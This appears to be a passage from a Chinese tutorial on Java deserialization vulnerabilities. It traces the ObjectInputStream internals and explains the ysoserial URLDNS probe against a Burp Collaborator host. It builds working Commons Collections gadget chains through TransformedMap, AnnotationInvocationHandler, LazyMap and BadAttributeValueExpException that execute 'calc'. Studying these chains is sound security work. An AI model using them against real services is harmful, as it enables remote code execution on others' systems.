__sleep() 方法常用于提交未提交的数据,或类似的清理操作。同时,如果有一些很大的对象,但不需要全部保存,这个功能就很好用。 与之相反,unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源。 __wakeup() 经常用在反序列化操作中,例如重新建立数据库连接,或执行其它初始化操作。

代码语言:javascript
复制
<?php
class Connection
{
    protected $link;
    private $dsn, $username, $password;
    
    public function __construct($dsn, $username, $password)
    {
        $this->dsn = $dsn;
        $this->username = $username;
        $this->password = $password;
        $this->connect();
    }
    
    private function connect()
    {
        $this->link = new PDO($this->dsn, $this->username, $this->password);
    }
    
    public function __sleep()
    {
        return array('dsn', 'username', 'password');
    }
    
    public function __wakeup()
    {
        $this->connect();
    }
}?>

反序列化过程分析

readObject 调用栈

代码语言:javascript
复制
readObject(Object.class);
	readObject0(type, false);
		readOrdinaryObject(unshared)
			// description
			readClassDesc(false);
				readNonProxyDesc(unshared);
					readDesc = readClassDescriptor();
					resolveClass(readDesc)
						Class.forName(name, false, latestUserDefinedLoader());
			// 下面的 readClassDesc(false) 实际作用是 readSuperClassDesc(false)
			desc.initNonProxy(readDesc, cl, resolveEx, readClassDesc(false));
			// initNonProxy 做了许多检查,如判断加载的类和序列化数据中的类是否一致
			// 还判断了 SerialVersionUID 等等

			obj = desc.isInstantiable() ? desc.newInstance() : null;
				cons.newInstance();
					ConstructorAccessor.newInstance(initargs);
						T inst = (T) ca.newInstance(initargs);
                            getSerializableConstructor()
                                cons = reflFactory.newConstructorForSerialization(cl, cons);
			readSerialData(obj, desc);
				readObjectMethod.invoke(obj, new Object[]{ in });
					slotDesc.invokeReadObject(obj, this);
					// 如果没有自定义 readObject,就调默认的 defaultReadFields(obj, slotDesc);

先根据对应的 Class,构造一个对象,再通过 readSerialData 填充属性字段数据。

需要注意的是,Java 反序列化生成对象时,并不是反射调用原 Class 的无参构造函数,而是产生一种新的构造器。

如何利用?

从上面的反序列化过程中可以看到,Java 本身没有对传入的数据进行校验,也没有白名单、黑名单机制,如果一旦可控,则可以反序列化任意的类。

也就是说,readObject 其实是 Java 中的“魔术方法”,是反序列化漏洞利用中的入口。

入口有了,接着寻找目标即可。最想要的自然是 RCE,能进行任意文件读写也不错。

执行命令

Runtime.getRuntime().exec()

代码语言:javascript
复制
String command = "whoami";
Process proc = Runtime.getRuntime().exec(command);
InputStream in = proc.getInputStream();
BufferedReader br = new BufferedReader(new InputStreamReader(in, "UTF8"));
String line = null;
while ((line = br.readLine()) != null) {
    System.out.println(line);
}

PS:exec 最终还是调用 ProcessBuilder 实现,并且 exec 的第一个参数将被以” \t\n\r\f” 符号进行切割,取切割后的第一个参数作为命令,其他的都是参数。

processBuilder

代码语言:javascript
复制
String command = "whoami";
Process proc = new ProcessBuilder(command).start();
InputStream in = proc.getInputStream();
BufferedReader br = new BufferedReader(new InputStreamReader(in, "UTF8"));
String line = null;
while ((line = br.readLine()) != null) {
	System.out.println(line);
}
  • Method.invoke():反射调用
  • RMI/JRMP:通过反序列化使用RMI或者JRMP链接到我们的exp服务器,通过发送序列化payload至靶机实现
  • URL.openStream:这种利用方式需要参数可控,实现SSRF
  • Context.lookup:这种利用方式也是需要参数可控,最终通过rmi或ldap的server实现攻击

除此之外,别忘了 Java 还有其强大的动态性,这些都可以作为我们的目标。

下面我们一个一个看,慢慢积累一些认识。

先介绍一下 Java 反序列化中的里程碑: https://github.com/frohoff/ysoserial

URLDNS

该 Gadget 没有外部的依赖,全是Java的原生类,很适合用来做探测使用,比如能不能出外网,是否有反序列化的操作。

Gadget Chain:

代码语言:javascript
复制
HashMap.readObject()
	HashMap.putVal()
		HashMap.hash()
			URL.hashCode()
				InetAddress.getByName(host);

使用方法:

powershell 的二进制数据重定向有点问题,反序列化时会报错,可以换成 cmd.exe。

代码语言:javascript
复制
java -jar .\target\ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS http://hqbuzb75py3ydukv1rizg1cek5qwel.burpcollaborator.net > payload

触发一个 DNS 请求,自然要从网络相关的组件下手。

代码语言:javascript
复制
/**
* The host's IP address, used in equals and hashCode.
* Computed on demand. An uninitialized or unknown hostAddress is null.
*/
transient InetAddress hostAddress;

u.hostAddress = InetAddress.getByName(host);
代码语言:javascript
复制
lookupAllHostAddr:928, InetAddress$2 (java.net)
getAddressesFromNameService:1323, InetAddress (java.net)
getAllByName0:1276, InetAddress (java.net)
getAllByName:1192, InetAddress (java.net)
getAllByName:1126, InetAddress (java.net)
getByName:1076, InetAddress (java.net)
getHostAddress:442, URLStreamHandler (java.net)
hashCode:359, URLStreamHandler (java.net)
hashCode:885, URL (java.net)
main:13, Hello (top.wywwzjj.demo)

验证一下:

代码语言:javascript
复制
URL url = new URL("http://jax59ndrd6zeztmcvf5cf1q7qywokd.burpcollaborator.net");
int i = url.hashCode();
System.out.println(i);

确实有 DNS 请求:

代码语言:javascript
复制
The Collaborator server received a DNS lookup of type A for the domain name jax59ndrd6zeztmcvf5cf1q7qywokd.burpcollaborator.net.

写 PoC:

代码语言:javascript
复制
URL url = new URL("http://jax59ndrd6zeztmcvf5cf1q7qywokd.burpcollaborator.net");

HashMap<URL, Integer> map = new HashMap<>();
map.put(url, 1);

ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("test"));
oos.writeObject(map);
oos.close();

ObjectInputStream ois = new ObjectInputStream(new FileInputStream("test"));
ois.readObject();
ois.close();

PS:由于本地序列化时 Java 对 DNS 有缓存,反序列化的时候可能并没有 DNS 请求。

另外,URL 对象中的 hashCode 有缓存,所以最终使用的时候需要利用反射将其置 -1。

代码语言:javascript
复制
public class URLDNS implements ObjectPayload<Object> {

    public static void main(final String[] args) throws Exception {
        PayloadRunner.run(URLDNS.class, args);
    }

    @Override
    public Object getObject(final String url) throws Exception {

        //Avoid DNS resolution during payload creation
        //Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
        URLStreamHandler handler = new SilentURLStreamHandler();

        HashMap ht = new HashMap(); // HashMap that will contain the URL
        URL u = new URL(null, url, handler); // URL to use as the Key
        ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

        Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.

        return ht;
    }

    /**
     * <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.
     * DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior
     * using the serialized object.</p>
     *
     * <b>Potential false negative:</b>
     * <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the
     * second resolution.</p>
     */
    static class SilentURLStreamHandler extends URLStreamHandler {

        @Override
        protected URLConnection openConnection(URL u) throws IOException {
            return null;
        }

        @Override
        protected synchronized InetAddress getHostAddress(URL u) {
            return null;
        }
    }
}

SilentURLStreamHandler 是为了避免生成 payload 时产生 DNS 请求,减少噪音。

Commons Collections

https://commons.apache.org/proper/commons-collections/

It added many powerful data structures that accelerate development of most significant Java applications. Since that time it has become the recognised standard for collection handling in Java.

Commons-Collections seek to build upon the JDK classes by providing new interfaces, implementations and utilities. There are many features, including:

  • Bag interface for collections that have a number of copies of each object
  • BidiMap interface for maps that can be looked up from value to key as well and key to value
  • MapIterator interface to provide simple and quick iteration over maps
  • Transforming decorators that alter each object as it is added to the collection
  • Composite collections that make multiple collections look like one
  • Ordered maps and sets that retain the order elements are added in, including an LRU based map
  • Reference map that allows keys and/or values to be garbage collected under close control
  • Many comparator implementations
  • Many iterator implementations
  • Adapter classes from array and enumerations to collections
  • Utilities to test or create typical set-theory properties of collections such as union, intersection, and closure

Apache Commons Collections 是一个扩展了 Java 标准库里的 Collection 结构的第三方基础库,它提供了很多强有力的数据结构类型并且实现了各种集合工具类。作为 Apache 开源项目的重要组件,Commons Collections被广泛应用于各种Java应用的开发。

大概看一下 Jar 的结构。

危险调用

下面来看一些知识铺垫。

调试准备:顺便演示下常用操作,详细的看下面的例子。

image.png
image.png

通过 mvn 下载依赖中的源码和文档,否则只能看反编译的结果(没有注释,变量名可读性差)。

代码语言:javascript
复制
mvn dependency:sources -DdownloadSources=true -DdownloadJavadocs=true

自定义搜索:例如指定 Jar 搜索,在 common collections jar 中搜索。

还有右上角的过滤器可以配置。

image.png
image.png

InvokerTransformer 中有完美的反射,可以进行危险利用。

代码语言:javascript
复制
/**
 * Transformer implementation that creates a new object instance by reflection.
 * 
 * @since Commons Collections 3.0
 * @version $Revision: 1.7 $ $Date: 2004/05/26 21:44:05 $
 *
 * @author Stephen Colebourne
 */
public class InvokerTransformer implements Transformer, Serializable {
    /** The method name to call */
    private final String iMethodName;
    /** The array of reflection parameter types */
    private final Class[] iParamTypes;
    /** The array of reflection arguments */
    private final Object[] iArgs;
    
	/**
     * Transforms the input to result by invoking a method on the input.
     * 
     * @param input  the input object to transform
     * @return the transformed result, null if null input
     */
    public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);
        } catch (Exception ex) {
            // ...
        }
    }
}

看到这个就比较亲切了,使用反射创建一个新的对象实例,直接弹计算器。

代码语言:javascript
复制
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});

invokerTransformer.transform(Runtime.getRuntime());

到这里,我们知道了这个类是可以通过 transform 触发 RCE,下一步就是给这个方法寻找一个触发点。

Transformer 接口

代码语言:javascript
复制
/**
 * Defines a functor interface implemented by classes that transform one
 * object into another.
 * <p>
 * A <code>Transformer</code> converts the input object to the output object.
 * The input object should be left unchanged.
 * Transformers are typically used for type conversions, or extracting data
 * from an object.
 * <p>
 * Standard implementations of common transformers are provided by
 * {@link TransformerUtils}. These include method invokation, returning a constant,
 * cloning and returning the string value.
 * 
 * @since Commons Collections 1.0
 * @version $Revision: 1.10 $ $Date: 2004/04/14 20:08:57 $
 * 
 * @author James Strachan
 * @author Stephen Colebourne
 */
public interface Transformer {

    /**
     * Transforms the input object (leaving it unchanged) into some output object.
     *
     * @param input  the object to be transformed, should be left unchanged
     * @return a transformed object
     * @throws ClassCastException (runtime) if the input is the wrong class
     * @throws IllegalArgumentException (runtime) if the input is invalid
     * @throws FunctorException (runtime) if the transform cannot be completed
     */
    public Object transform(Object input);
}

注释里说的比较清楚,这个接口的作用是对象转换,接口也只有唯一的一个方法 transform

实现这个接口的类还挺多,可以拿来当备选项。

image.png
image.png

如何才能触发 transform()?首先寻找这个方法在哪些地方用到了,再进一步筛选:

  • 调用 transform() 方法本身的类要是可序列化的。
  • readObject() 处(间接)调用了 transform()

利用 IDEA 的 Find Usage,我们一个一个来看。

TransformedMap 类是对 Java 标准数据结构 Map 接口的一个扩展。该类可以在一个元素被加入到集合内时,自动对该元素进行特定的修饰变换,具体的变换逻辑由 Transformer 类定义,Transformer 在 TransformedMap 实例化时作为参数传入。

当 TransformedMap 内的 key 或者 value 发生变化时,就会触发相应的Transformer的transform()方法。

代码语言:javascript
复制
public class TransformedMap extends AbstractInputCheckedMapDecorator implements Serializable {
    /** The transformer to use for the key */
    protected final Transformer keyTransformer;
    /** The transformer to use for the value */
    protected final Transformer valueTransformer;
    
    /**
     * Transforms a key.
     * <p>
     * The transformer itself may throw an exception if necessary.
     * 
     * @param object  the object to transform
     * @throws the transformed object
     */
    protected Object transformKey(Object object) {
        if (keyTransformer == null) {
            return object;
        }
        return keyTransformer.transform(object);  // 这里
    }
    
    /**
     * Transforms a value.
     * <p>
     * The transformer itself may throw an exception if necessary.
     * 
     * @param object  the object to transform
     * @throws the transformed object
     */
    protected Object transformValue(Object object) {
        if (valueTransformer == null) {
            return object;
        }
        return valueTransformer.transform(object);  // 这里
    }
    
    /**
     * Override to transform the value when using <code>setValue</code>.
     * 
     * @param value  the value to transform
     * @return the transformed value
     * @since Commons Collections 3.1
     */
    protected Object checkSetValue(Object value) {
        return valueTransformer.transform(value);  // 这里
    }
    
    //-----------------------------------------------------------------------
    public Object put(Object key, Object value) {
        key = transformKey(key);
        value = transformValue(value);
        return getMap().put(key, value);
    }

    public void putAll(Map mapToCopy) {
        mapToCopy = transformMap(mapToCopy);
        getMap().putAll(mapToCopy);
    }
}

利用这里的 transform 能 RCE 吗?来看个 Demo:

如果直接调用 InvokerTransformer:

代码语言:javascript
复制
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});

invokerTransformer.transform(Runtime.getRuntime());

改一改看看:

代码语言:javascript
复制
Map innerMap = new HashMap();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});

Map outerMap = TransformedMap.decorate(innerMap, invokerTransformer, null);

outerMap.put(Runtime.getRuntime(), "test");

成功弹出计算器。

寻找跳板

从这个 Demo 可以看出,关键的一步是执行了 outerMap.put(),如何让它变成反序列化的时候自动触发呢?

另外,直接 put 一个 Runtime 对象不太现实,先包装一下。

ConstantTransformer 类实现了每次返回一个相同的常量。

代码语言:javascript
复制
public class ConstantTransformer implements Transformer, Serializable {
    private final Object iConstant;
    
    /**
     * Constructor that performs no validation.
     * Use <code>getInstance</code> if you want that.
     * 
     * @param constantToReturn  the constant to return each time
     */
    public ConstantTransformer(Object constantToReturn) {
        super();
        iConstant = constantToReturn;
    }

    /**
     * Transforms the input by ignoring it and returning the stored constant instead.
     * 
     * @param input  the input object which is ignored
     * @return the stored constant
     */
    public Object transform(Object input) {
        return iConstant;
    }
}

再结合这个 ChainedTransformer,将上一个 Transformer 对象执行后的结果传入下一个 Transformer 当参数。

代码语言:javascript
复制
public class ChainedTransformer implements Transformer, Serializable {
    /** The transformers to call in turn */
    private final Transformer[] iTransformers;
    
    public Object transform(Object object) {
        for (int i = 0; i < iTransformers.length; i++) {
            object = iTransformers[i].transform(object);
        }
        return object;
    }
}

构造:

代码语言:javascript
复制
Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.getRuntime()),
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};

Transformer transformerChain = new ChainedTransformer(transformers);

Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, transformerChain, null);


outerMap.put("test", "test");

Runtime 类没有实现序列化接口,没法被序列化,继续改进一下:

代码语言:javascript
复制
Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class },
                           new Object[] { "getRuntime", new Class[0] }),
    new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class },
                           new Object[] { null, new Object[0] }),
    // Runtime.getRuntime()
    new InvokerTransformer("exec", new Class[] { String.class },
                           new Object[] { "calc" }) };

Transformer transformerChain = new ChainedTransformer(transformers);

Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, transformerChain, null);

outerMap.put("test", "test");

等价于:

代码语言:javascript
复制
((Runtime) Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec("calc");

到这里就随便 put 了。我们需要寻找在 readObject 中有给 Map 进行 put 操作的类,或者有调用 transform 方法的类。

除了 put,还有 checkSetValue 中会有转换。

代码语言:javascript
复制
protected Object checkSetValue(Object value) {
    return valueTransformer.transform(value);
}

此方法在 AbstractInputCheckedMapDecorator.java 中的 MapEntry 类有调用。

代码语言:javascript
复制
public Object setValue(Object value) {
    value = parent.checkSetValue(value);
    return entry.setValue(value);
}

弹计算器的代码又可以继续改写成:

代码语言:javascript
复制
Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class },
                           new Object[] { "getRuntime", new Class[0] }),
    new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class },
                           new Object[] { null, new Object[0] }),
    new InvokerTransformer("exec", new Class[] { String.class },
                           new Object[] { "calc" }) };

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

Map innerMap = new HashMap();
innerMap.put("test", "test");

Map outerMap = TransformedMap.decorate(innerMap, chainedTransformer, null);

Set entrySet = outerMap.entrySet();
Iterator iterator = entrySet.iterator();
Map.Entry entry = (Map.Entry) iterator.next();

entry.setValue("test");  // 这一行触发

sun.reflect.annotation.AnnotationInvocationHandler 符合要求:

代码语言:javascript
复制
class AnnotationInvocationHandler implements InvocationHandler, Serializable {
    private final Class<? extends Annotation> type;
    private final Map<String, Object> memberValues;

    private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        s.defaultReadObject();

        // Check to make sure that types have not evolved incompatibly

        AnnotationType annotationType = null;
        try {
            annotationType = AnnotationType.getInstance(type);
        } catch(IllegalArgumentException e) {
            // Class is no longer an annotation type; time to punch out
            throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map<String, Class<?>> memberTypes = annotationType.memberTypes();

        // If there are annotation members without values, that
        // situation is handled by the invoke method.
        for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
            String name = memberValue.getKey();
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) {  // i.e. member still exists
                Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) {
                    memberValue.setValue(
                        new AnnotationTypeMismatchExceptionProxy(
                            value.getClass() + "[" + value + "]").setMember(
                            annotationType.members().get(name))
                    );
                }
            }
        }
    }
}

memberValues 就是反序列化后得到的 Map,也就是经过了 TransformedMap 修饰的对象,这⾥遍历了它的所有元素,并依次设置值。在调⽤ setValue 设置值的时候就会触发 TransformedMap ⾥注册的 Transform,进⽽执⾏我们为其精⼼设计的任意代码。

代码语言:javascript
复制
'sun.reflect.annotation.AnnotationInvocationHandler' is not public in 'sun.reflect.annotation'. Cannot be accessed from outside package

由于是内部类,外部无法直接构造对象,所以使用反射构造函数进行构造。

代码语言:javascript
复制
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

// 根据参数选择构造函数
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);

Object obj = construct.newInstance(Retention.class, outerMap);  // Retention.class

完整利用

AnnotationInvocationHandler.readObject()->TransformedMap->setValue()->checkSetValue()->InvokerTransform.transform()

代码语言:javascript
复制
public static void main(final String[] args) throws Exception {
    Transformer[] transformers = new Transformer[] {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class },
                               new Object[] { "getRuntime", new Class[0] }),
        new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class },
                               new Object[] { null, new Object[0] }),
        new InvokerTransformer("exec", new Class[] { String.class },
                               new Object[] { "calc" }) };

    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

    Map innerMap = new HashMap();
    innerMap.put("value", "test");  // 需要是 value

    // Map outerMap = TransformedMap.decorate(innerMap, chainedTransformer, null);
    Map outerMap = TransformedMap.decorate(innerMap, null, chainedTransformer);

    Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
    construct.setAccessible(true);
    Object obj = construct.newInstance(Retention.class, outerMap);

    ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("payload"));
    oos.writeObject(obj);
    oos.close();

    ObjectInputStream ois = new ObjectInputStream(new FileInputStream("payload"));
    ois.readObject();
    ois.close();
}

调用栈:

代码语言:javascript
复制
transform:121, ChainedTransformer (org.apache.commons.collections.functors)
checkSetValue:169, TransformedMap (org.apache.commons.collections.map)
setValue:191, AbstractInputCheckedMapDecorator$MapEntry (org.apache.commons.collections.map)
readObject:451, AnnotationInvocationHandler (sun.reflect.annotation)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1900, ObjectInputStream (java.io)
readOrdinaryObject:1801, ObjectInputStream (java.io)
readObject0:1351, ObjectInputStream (java.io)
readObject:371, ObjectInputStream (java.io)
main:98, CommonsCollections1 (ysoserial.payloads)

小疑问

AnnotationInvocationHandler 的第一个参数为什么是 Retention.class,还能使用其他接口吗?

首先,第一个参数的类型上有限制,一定要是 Annotation 的子接口,所以只能传注解类型。

代码语言:javascript
复制
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
代码语言:javascript
复制
public @interface Retention {  // @interface 表示该自定义接口继承 java.lang.Annotation 接口
代码语言:javascript
复制
AnnotationType annotationType = AnnotationType.getInstance(type);

Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
    String name = memberValue.getKey();
    Class<?> memberType = memberTypes.get(name);  // 做了判断
    if (memberType != null) {  // i.e. member still exists
        Object value = memberValue.getValue();
        if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) {
            memberValue.setValue(
                new AnnotationTypeMismatchExceptionProxy(
                    value.getClass() + "[" + value + "]").setMember(
                    annotationType.members().get(name)));
        }
    }
}

再看一下还有没有别的条件,annotationType.memberTypes() 不能为空,即 memberTypes 不能为空,即注解接口中一定要有方法,且需要是无参方法。如果是有参数,将在 AnnotationType.getInstance(type) 中的构造函数中被丢弃,不添加到 memberTypes。

代码语言:javascript
复制
Native、Inherited、Documented	这些空接口就被排除在外了

这些是可以的:

代码语言:javascript
复制
SuppressWarnings、Target、Repeatable 和 Retention

可以顺着这个思路找符合条件的注解接口,不再赘述。

为什么要 innerMap.put(“value”, “test”),不能 put 别的 key 吗?

代码语言:javascript
复制
AnnotationType annotationType = AnnotationType.getInstance(type);

Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
    String name = memberValue.getKey();
    Class<?> memberType = memberTypes.get(name);  // 做了判断
    if (memberType != null) {  // i.e. member still exists
        Object value = memberValue.getValue();
        if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) {
            memberValue.setValue(
                new AnnotationTypeMismatchExceptionProxy(
                    value.getClass() + "[" + value + "]").setMember(
                    annotationType.members().get(name)));
        }
    }
}

这里做了一个判断,memberTypes.get(name) 如果不存在的话就不继续执行 setValue 了。

也就是说,键名 value 与我们之前传入构造函数的第一个参数有关,即 Retention.class。

代码语言:javascript
复制
/**
 * Indicates how long annotations with the annotated type are to be retained.
 * If no Retention annotation is present on an annotation type declaration,
 * the retention policy defaults to {@code RetentionPolicy.CLASS}.
 *
 * <p>A Retention meta-annotation has effect only if the
 * meta-annotated type is used directly for annotation.  It has no
 * effect if the meta-annotated type is used as a member type in
 * another annotation type.
 *
 * @author  Joshua Bloch
 * @since 1.5
 * @jls 9.6.3.2 @Retention
 */
@Documented
@Retention(RetentionPolicy.RUNTIME)
@Target(ElementType.ANNOTATION_TYPE)
public @interface Retention {
    /**
     * Returns the retention policy.
     * @return the retention policy
     */
    RetentionPolicy value();
}

这个接口只有唯一的一个方法 value,且其返回值类型是 java.lang.annotation.RetentionPolicy。

代码语言:javascript
复制
public class AnnotationType {
    /**
     * Member name -> type mapping. Note that primitive types
     * are represented by the class objects for the corresponding wrapper
     * types.  This matches the return value that must be used for a
     * dynamic proxy, allowing for a simple isInstance test.
     */
    private final Map<String, Class<?>> memberTypes;  // 函数名到返回值类型的映射
    
    /**
     * Returns an AnnotationType instance for the specified annotation type.
     *
     * @throw IllegalArgumentException if the specified class object for
     *     does not represent a valid annotation type
     */
    public static AnnotationType getInstance(Class<? extends Annotation> annotationClass) {
        JavaLangAccess jla = sun.misc.SharedSecrets.getJavaLangAccess();
        AnnotationType result = jla.getAnnotationType(annotationClass); // volatile read
        if (result == null) {
            result = new AnnotationType(annotationClass);
            // try to CAS the AnnotationType: null -> result
            if (!jla.casAnnotationType(annotationClass, null, result)) {
                // somebody was quicker -> read it's result
                result = jla.getAnnotationType(annotationClass);
                assert result != null;
            }
        }

        return result;
    }
    
    /**
     * Returns member types for this annotation type
     * (member name -> type mapping).
     */
    public Map<String, Class<?>> memberTypes() {
        return memberTypes;
    }
}

这也是为啥一定要 key 一定要写 value 的原因,因为对应的表实际就是函数名到返回类型的 map。

为什么一定要把 transform 放在 value 上,放在 key 上就失败了?

代码语言:javascript
复制
// Map outerMap = TransformedMap.decorate(innerMap, chainedTransformer, null);
Map outerMap = TransformedMap.decorate(innerMap, null, chainedTransformer);

当放在 key 上时,最终执行 setValue 跑到 HashMap 上去了。一切的差异从这开始:

代码语言:javascript
复制
// AbstractInputCheckedMapDecorator.java
protected EntrySet(Set set, AbstractInputCheckedMapDecorator parent) {
    super(set);
    this.parent = parent;
}

public Set entrySet() {
    if (isSetValueChecking()) {  // 如果 valueTransformer != null,才走这条分支
        return new EntrySet(map.entrySet(), this);  // AbstractInputCheckedMapDecorator.EntrySet
    } else {
        return map.entrySet();  // 直接返回 HashMap 的值,最终调用的自然是 HashMap 中的 SetValue
    }
}

// TransformedMap.java
/**
 * Override to transform the value when using <code>setValue</code>.
 * 
 * @param value  the value to transform
 * @return the transformed value
 * @since Commons Collections 3.1
 */
protected boolean isSetValueChecking() {
    return (valueTransformer != null);
}

为什么高版本打不成功?

Java 8u71 以后的版本(不包含) AnnotationInvocationHandler 的 readObject 实现有变化。

http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/f8a528d0379d

LazyMap

ysoserial 中使用的是 LazyMap,一起来研究一下原理。

代码语言:javascript
复制
public class LazyMap extends AbstractMapDecorator implements Map, Serializable {
    /** The factory to use to construct elements */
    protected final Transformer factory;
    
    //-----------------------------------------------------------------------
    public Object get(Object key) {
        // create value for key if key is not currently in the map
        if (map.containsKey(key) == false) {
            Object value = factory.transform(key);  // 关键
            map.put(key, value);
            return value;
        }
        return map.get(key);  // 有缓存
    }
}

还是 Transformer 接口,不过 LazyMap 中只有 get 操作了。

这个时候需要怎么打?先用 LazyMap 替换一下 TransformedMap。

代码语言:javascript
复制
Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class },
                           new Object[] { "getRuntime", new Class[0] }),
    new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class },
                           new Object[] { null, new Object[0] }),
    new InvokerTransformer("exec", new Class[] { String.class },
                           new Object[] { "calc" }) };
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

Map innerMap = new HashMap();

Map outerMap = LazyMap.decorate(innerMap, chainedTransformer);

outerMap.get("233");  // 只要 key 不存在即可

PS:这里调试的时候需要注意 LazyMap 有缓存,只有第一次不存在的 key 才会触发。

下一步就是寻找 readObject 入口,看有无能直接触发 LazyMap 的 get。

代码语言:javascript
复制
readObject(in) {
    obj = in.readObject();
    obj.get("233");
}
image.png
image.png

BadAttributeValueExpException + TiedMapEntry

代码语言:javascript
复制
public class BadAttributeValueExpException extends Exception   {    
    private Object val;
    
	private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        ObjectInputStream.GetField gf = ois.readFields();
        Object valObj = gf.get("val", null);

        if (valObj == null) {
            val = null;
        } else if (valObj instanceof String) {
            val= valObj;
        } else if (System.getSecurityManager() == null
                || valObj instanceof Long
                || valObj instanceof Integer
                || valObj instanceof Float
                || valObj instanceof Double
                || valObj instanceof Byte
                || valObj instanceof Short
                || valObj instanceof Boolean) {
            val = valObj.toString();  // 关键行
        } else { // the serialized object is from a version without JDK-8019292 fix
            val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
        }
    }
}

注意到下面触发了 valObj.toString(),看看能不能进一步利用。

还是老问题,toString 不能直接触发,除非 toString 中有触发 Map.get 的操作,还需要找一层跳板。

代码语言:javascript
复制
public class TiedMapEntry implements Map.Entry, KeyValue, Serializable {
    private final Map map;
    private final Object key;
    
    public Object getKey() {
        return key;
    }

    /**
     * Gets the value of this entry direct from the map.
     * 
     * @return the value
     */
    public Object getValue() {
        return map.get(key);  // get!RCE
    }
    
    public String toString() {
        return getKey() + "=" + getValue();  // LazyMap 的 get 操作来了
    }
}

有了这个就能打了,只需要 map 是我们的 LazyMap 即可。

代码语言:javascript
复制
Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class },
                           new Object[] { "getRuntime", new Class[0] }),
    new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class },
                           new Object[] { null, new Object[0] }),
    new InvokerTransformer("exec", new Class[] { String.class },
                           new Object[] { "calc" }) };
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

Map innerMap = new HashMap();

Map outerMap = LazyMap.decorate(innerMap, chainedTransformer);

TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "233");

下一步,弄一个 BadAttributeValueExpException 对象,由于 val 是 private 字段,继续反射:

代码语言:javascript
复制
Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class },
                           new Object[] { "getRuntime", new Class[0] }),
    new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class },
                           new Object[] { null, new Object[0] }),
    new InvokerTransformer("exec", new Class[] { String.class },
                           new Object[] { "calc" }) };
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

Map innerMap = new HashMap();

Map outerMap = LazyMap.decorate(innerMap, chainedTransformer);

TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "233");

BadAttributeValueExpException exception = new BadAttributeValueExpException(null);

// exception.val = tiedMapEntry
Field declaredField = exception.class.getDeclaredField("val");
